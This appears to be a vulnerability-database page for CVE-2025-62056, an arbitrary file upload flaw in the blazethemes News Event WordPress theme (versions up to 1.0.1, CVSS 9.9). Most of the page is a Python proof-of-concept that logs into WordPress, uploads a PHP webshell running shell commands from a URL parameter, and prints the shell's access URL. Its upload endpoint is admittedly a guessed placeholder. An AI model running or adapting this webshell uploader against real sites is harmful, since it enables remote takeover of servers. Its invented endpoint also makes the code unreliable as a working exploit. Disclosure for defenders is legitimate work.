CVE-2025-62056

Description

Unrestricted Upload of File with Dangerous Type vulnerability in blazethemes News Event news-event.This issue affects News Event: from n/a through <= 1.0.1.

CVSS Details

CVSS Score

9.9

Severity

CRITICAL

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

blazethemes News Event Theme <= 1.0.1

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests
import sys

# CVE-2025-62056 PoC - News Event Theme Arbitrary File Upload
# Target: WordPress site with blazethemes News Event theme <= 1.0.1

def upload_webshell(target_url, wp_admin_user, wp_admin_pass):
    """
    Upload malicious PHP file via vulnerable endpoint
    """
    # Step 1: Authenticate to WordPress admin
    login_url = target_url + '/wp-login.php'
    session = requests.Session()
    
    login_data = {
        'log': wp_admin_user,
        'pwd': wp_admin_pass,
        'wp-submit': 'Log In',
        'redirect_to': '/wp-admin/',
        'testcookie': '1'
    }
    
    resp = session.post(login_url, data=login_data)
    
    if 'wordpress_logged_in' not in str(session.cookies):
        print('[-] Authentication failed')
        return False
    
    print('[+] Authentication successful')
    
    # Step 2: Upload malicious file
    # Note: Actual endpoint needs to be identified from theme source code
    upload_url = target_url + '/wp-admin/admin.php?page=news-event-upload'  # Example endpoint
    
    # PHP webshell
    webshell_content = '<?php system($_GET["cmd"]); ?>' 
    
    files = {
        'file': ('shell.php', webshell_content, 'application/x-php')
    }
    
    try:
        resp = session.post(upload_url, files=files, timeout=10)
        
        if resp.status_code == 200 and 'success' in resp.text.lower():
            print('[+] Webshell uploaded successfully')
            print('[+] Access shell at: ' + target_url + '/wp-content/uploads/news-event/shell.php?cmd=whoami')
            return True
    except Exception as e:
        print(f'[-] Upload failed: {e}')
    
    return False

if __name__ == '__main__':
    if len(sys.argv) < 4:
        print('Usage: python cve-2025-62056.py <target_url> <wp_user> <wp_pass>')
        sys.exit(1)
    
    upload_webshell(sys.argv[1], sys.argv[2], sys.argv[3])

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-62056
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-62056
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-62056/
[4] VulDB https://vuldb.com/cve/CVE-2025-62056
[5] https://patchstack.com/database/Wordpress/Theme/news-event/vulnerability/wordpress-news-event-theme-1-0-1-arbitrary-file-upload-vulnerability?_s_id=cve

Raw JSON Data

JSON

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